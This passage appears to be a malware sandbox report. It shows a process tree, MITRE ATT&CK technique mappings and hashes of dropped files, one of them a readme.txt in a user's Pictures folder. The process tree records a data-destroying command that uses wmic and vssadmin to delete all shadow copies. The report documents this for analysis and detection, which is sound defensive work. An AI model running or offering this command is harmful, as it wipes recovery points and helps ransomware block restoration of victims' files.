- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:924
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2244

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2220

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
d05a9540247d65d68a253fbb6df7c36d

SHA1
1be2b302973af9dab26601f9cf86d908a0923961

SHA256
9e6a859d4ca8b4be40d0c3817f441f353fdfd2cc1fc03c1ff2576c20fb8cd732

SHA512
7046af148b9e049557a992937e9757475b2cf296a5654e17f2d175a31daa07333c1a29fe6e3937c3c760de9346fedb17be6616d1a33a072e26b122cd1b51ef66

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
9d1927137114849b52ecbeb63aa6d180

SHA1
ce10f3c509a8254c4fdd6efde5aa10152c5891ed

SHA256
396038246d3b977acdd83f1dfbee0c0ca982c5fc11f885e6a9757ba52295641b

SHA512
abc10a3afa99acb20f50741d057b8df27760b41a5cf7cd366dc3466974322f1635e09f9c9e44cd42891cadb8365c8f97f71812dedf8b4793effa5352f9360fa2

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
a998b10e47631f2a9ea3517e454b66bf

SHA1
13dcfd6e7dcc09a63277f901198a97f8de8faa9b

SHA256
01868e391db7ad533f682871a6be27014e9eb845a3ba7012b03c6428f01278bd

SHA512
01063e6e92b82489301c6f86a968d966f331e68eff9120789d2b558f8db5dd4e71f9ef8535569815b39f5ae01bfdfe9fc6a1e6a3dab73b2b338130ee040def5a

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
648f3bc33f3cc9179015760764292060

SHA1
645d0a53ae3692007e62350da1fe4d6f43461b2f

SHA256
e542137fe1509ac37f5a6d0c097c580fc0e9ca61d421163b378ffe9a520421ee

SHA512
c1c288295d8bc628991247466951596694060611de144b3989e7e66e7dca5b366fa44382d56f87abb5f353e582f6411c637d014993992a390895880e1113d667

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
81ce3c941cf251ef39580e119d6cc795

SHA1
9c19dd70885d26cd2af58862310f34ce95e1bd96

SHA256
62bf7396212e9172fdd45f75ddc6fec5264e186755b511822ae05ef1a44b8929

SHA512
9307aeaac45d48e840777d4bb9635e534bcef2a3264f098b37c196bcbb6d8d886bbb6499a58884325f347fdfe9db3daafbdc8aac8366882c67bec1b0139056b1

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
a257b054d2caa8eac991780e410aec11

SHA1
c571f121e00dadded443de42d3aa3dc33affb980

SHA256
da9eab9cba9c9b1926d2be83a3661cfdc863784e44f8de5a2743717e58c26599

SHA512
94e58e524dbf95364bc131a6507292be06fefe649d06edf9c20c570c5a2fc66c45051e5743c92b1678b8b4b9f2551e8c9c21b393741351a76ad6788b8e3f7b8b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
16452d6789264a18871c6488feaf22a6

SHA1
cc30345e16f8b7c43cf2546d1175a5831726ba9f

SHA256
e1bcea853a2c17d0902cb47cc2a97734ebe650031d9006773e5ef5b8f00ede39

SHA512
3ea8062007a916d7d31ce8c593baceebd06053276a68fd58350cb73f1a1aff1a6f8bbc289a32395048bd1bd9f0aff7ab999b40de4b62149c3feae7a810f4384c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
2d215ba9fad48d225152ebbfe1c76c62

SHA1
532b045c705e1d3f5595d68931e338f751b2f4b2

SHA256
681308853f38a0c765ca0697997ef8bb0da7552dd1caa371a750e85f3777270e

SHA512
5bc87f76a59af269a05850f89827ea3d3bc9652282813d230454465cc194f2f10f9313a50fd9adacba85daf8370dd29c199975492fb56b6d3b707fb9bae56d2e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
a298e864176fc647f81cb9122da70e71

SHA1
2ff4474cb52aeb85d7177f5f8db57040315e7141

SHA256
a346f5086cffbc30915198cc9737c3463ca271344aa235bdaf7a0f90f1fc519a

SHA512
5647ee69c33058e6fa91515ed59bb3bf87d1b901dc105cccc5bdd5ec897308e4699ab3f84973b28f172cbedbdbe94f4393bb288c7cd4383433531ab36940951d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
74ab1eabf90272f36c66674678a0fefc

SHA1
b6e11ca6930a500a4888ba366d096537b35d9b15

SHA256
227cc89c4597cac8cb7ed2e3e0c89683333729eff43764223cdcc2bbeb289ac8

SHA512
da758777587db25913c3b4c0e6bc979e43ae609c4439afaa61f0913c7a1927115564e8275426aa87cf57ca6b685e7adfd9bcd0dd4da279cb6a387061e05e6f05

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
687761ae4be8a8485e663c13eeee0a5e

SHA1
da82ec34092e380b1539e27947ba0a5c6d6b3a06

SHA256
983be2e32157d5261d9f503f81d3e77ba13629970bc9127900d298401ea93842

SHA512
86affe953e4c34419feb801c9d22465f5425bad4aa9600bf22ade50eb137672118b41916814bf85a16682831117ed760965d124d296e44ad013c654bc007c5fc

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
cb56973d65eeaf6ff39966728abfd6fd

SHA1
8789a165416fa409615b260a6f232f89514b8317

SHA256
e1e0dd38a29863e19a07e0b5a9a2243c9280f0edc53292cb191a1188121f21d4

SHA512
185a0cd735b366528478cce225f81ae4b03e0dd544e7c368cc590914326789ea703178544f9f28b714eea7fd979b6a76be81c009144ce5e2a634f33c66156644

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
ca8cb12723c97bc16065154adf51e715

SHA1
19a767538dc672f69ae2222f2d9bd745cb0d9335

SHA256
bd2dc72f9b4f1054bd37e320608da806197f34414ee9117b6e2429f712ac5ae6

SHA512
c64bd3ffd1c75b758f8370c38db5be27a87e4ad005fc26b75775381d59449adaf5fc8167c7220c9af23af764f9de458f5a0609d3615f0f9e9c1f500d1e23620c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
e3b342133a532130276dc12b7c89d7ef

SHA1
e7c316a189b10c0a0c8c4e1244805cbf0650b43c

SHA256
d89e829a7eeeb9614622b3e106db16376807c8b837ad3c44edb48751e163f282

SHA512
49d34f387ece89b9d5c1f5a1448b6ca1643f955d4477472bf203a52fa9934bddca55af4d765c783bbb5afd1fe22bdc687732a069b8d4d3e912a100a593dcfd7f

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
a1be91b290c5011b47488dea17e90de5

SHA1
ccc3043f71ee92bfabe536a3b8fce5ff6dee3c80

SHA256
dc5e237032e08dbc9a9e42283b02efc389008afe4c0a9567bdce62aa6f517d56

SHA512
3fb1fd2703fc492df7df96f039fd54a9a71070ea52712074ee4edc90cf2d28f6145089573bacf13d96ea881329cc067a8b98e1aaa7cc98f00743410760582af0

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab9560.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar961E.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\Pictures\readme.txt

Filesize
1KB

MD5
b3fe453bcb5e29fabe2ecdb6de545882

SHA1
1749b2bb7c0c8c3d493d5ada133f825ce48ab847

SHA256
f1bcdefb54fb94a3b646a8bf5bf93daaf4b6a1faefaa89373522bf2701abffcf

SHA512
4ed76b8b55aaa966aa055c9bb4aa88d66467b057f2753f6c074683fdc637c97e585391afcdf369fb4bb16400bae6c6bbf3d9dec8a445e72998cb9e2dad2c4065

Download Submit
memory/1124-16-0x0000000000160000-0x0000000000165000-memory.dmp

Filesize
20KB

Download
memory/1124-0-0x0000000000160000-0x0000000000165000-memory.dmp

Filesize
20KB

Download
memory/2196-736-0x00000000044B0000-0x00000000044B1000-memory.dmp

Filesize
4KB

Download
memory/2196-1-0x0000000002040000-0x0000000002689000-memory.dmp

Filesize
6.3MB

Download
memory/2196-8-0x0000000000170000-0x0000000000171000-memory.dmp

Filesize
4KB

Download
memory/2196-9-0x0000000000180000-0x0000000000181000-memory.dmp

Filesize
4KB

Download
memory/2196-10-0x0000000000190000-0x0000000000191000-memory.dmp

Filesize
4KB

Download
memory/2196-11-0x00000000001D0000-0x00000000001D1000-memory.dmp

Filesize
4KB

Download
memory/2196-6-0x0000000000160000-0x0000000000161000-memory.dmp

Filesize
4KB

Download
memory/2196-17-0x0000000004490000-0x0000000004491000-memory.dmp

Filesize
4KB

Download
memory/2196-735-0x00000000044B0000-0x00000000044B1000-memory.dmp

Filesize
4KB

Download
memory/2196-12-0x00000000001E0000-0x00000000001E1000-memory.dmp

Filesize
4KB

Download
memory/2196-13-0x0000000000370000-0x0000000000371000-memory.dmp

Filesize
4KB

Download
memory/2196-14-0x0000000000380000-0x0000000000381000-memory.dmp

Filesize
4KB

Download
memory/2196-3-0x0000000000130000-0x0000000000131000-memory.dmp

Filesize
4KB

Download
memory/2196-5-0x0000000000150000-0x0000000000151000-memory.dmp

Filesize
4KB

Download
memory/2196-2-0x0000000000120000-0x0000000000121000-memory.dmp

Filesize
4KB

Download